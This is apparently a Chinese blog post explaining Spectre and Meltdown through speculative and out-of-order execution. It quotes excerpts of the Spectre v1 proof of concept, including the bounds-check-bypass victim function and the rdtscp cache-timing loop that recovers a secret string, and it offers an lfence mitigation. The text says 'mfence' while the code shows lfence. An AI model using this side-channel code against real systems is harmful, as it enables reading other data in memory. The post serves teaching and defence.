最近比较火的X86 bug, spectre meltdown 以及及其变种,攻击的前提是cpu具有speculative execution 的能力,也就是推测执行的能力。当然现代架构的cpu都具备推测执行的能力了。推测执行的时机有多种,比如在执行分支跳转(jmp)、函数调用(call)时,但是核心就是预取数据。当cpu多次执行一段代码时,就会推测执行,比如说一段代码需要循环执行10次,但是cpu当执行完第10次之后,可能会执行第11次,但是执行第11次的过程中,cpu发现自己做错了,此时就不会commit结果。推测执行,可能产生回滚的动作。

这就要提到一个概念out of order即乱序执行,举个例子吧。假设从北京到济南只有一条高速公路,而且这条高数公路是4车道。此时A,B,C,D同时从北京出发去济南,在北京高速有4个入口,此时A,B,C,D同时上高速,这就是4发射。A,B,C,D在高速上谁前谁后没人在乎,这就是乱序执行。但是到达终点的时候,就出口只有一个入口,即A,B,C,D要排队出。假设顺序是A,B,C,D,只有顺序对了,才正确。为什么在出站的时候要顺序呢?这就涉及到指令之间数据依赖的问题了,本文不做讨论。感兴趣的读者,可以自行去找本计算机体系结构的书来看。乱序执行是导致meltdown的直接原因。

看这个代码块,while(condition){...},大家都应该知道至于condition为true的时候才会执行循环体的代码。但是从cpu底层来讲,由于乱序执行,判断condition的指令和循环体的代码一部分指令同时发射,即在提交的时候判断condition的指令要先出,如果condition为true,本次执行正确就提交了。如果condition为false就不会提交了。但是在condition为false的情况下,cpu确实执行了循环体的一些代码,这就导致一些数据会到cache中。其它代码就可以去猜cache的数据。如果这些数据是一些敏感数据呢?如果是内核状态下的数据呢?

怎样去猜cache里的数据呢?大家应该知道,cpu在读数据的时候,如果cache里有,就会从cache里拿; 如果cache里没有,就从dram里拿。从dram里拿数据花费的时间肯定要比从cache里拿要多。因此判断数据在cache里最好的方法就是判断时间。

下面是一段代码,来猜自己进程的数据,不涉及权限,ring3 猜 ring3的数据,即spectre的一个攻击。如果跨特权级,ring3去猜ring0的数据,即meltdown攻击,原理还要更复杂一点,以后有时间在写。

在windows编译时需要设置为debug模式。猜数据char* secret = "The Magic Words are Squeamish Ossifrage.";

运行结果:

代码分析:

做越界访问的代码段为

void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}

猜cache数据的代码:

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

怎样预防这种攻击呢?只需要在关键的地方不让cpu乱序执行就可以了,加一条串行化的指令,mfence就可以了。

void victim_function(size_t x)
{
if (x < array1_size)
{
_mm_lfence();
temp &= array2[array1[x] * 512];
}

}
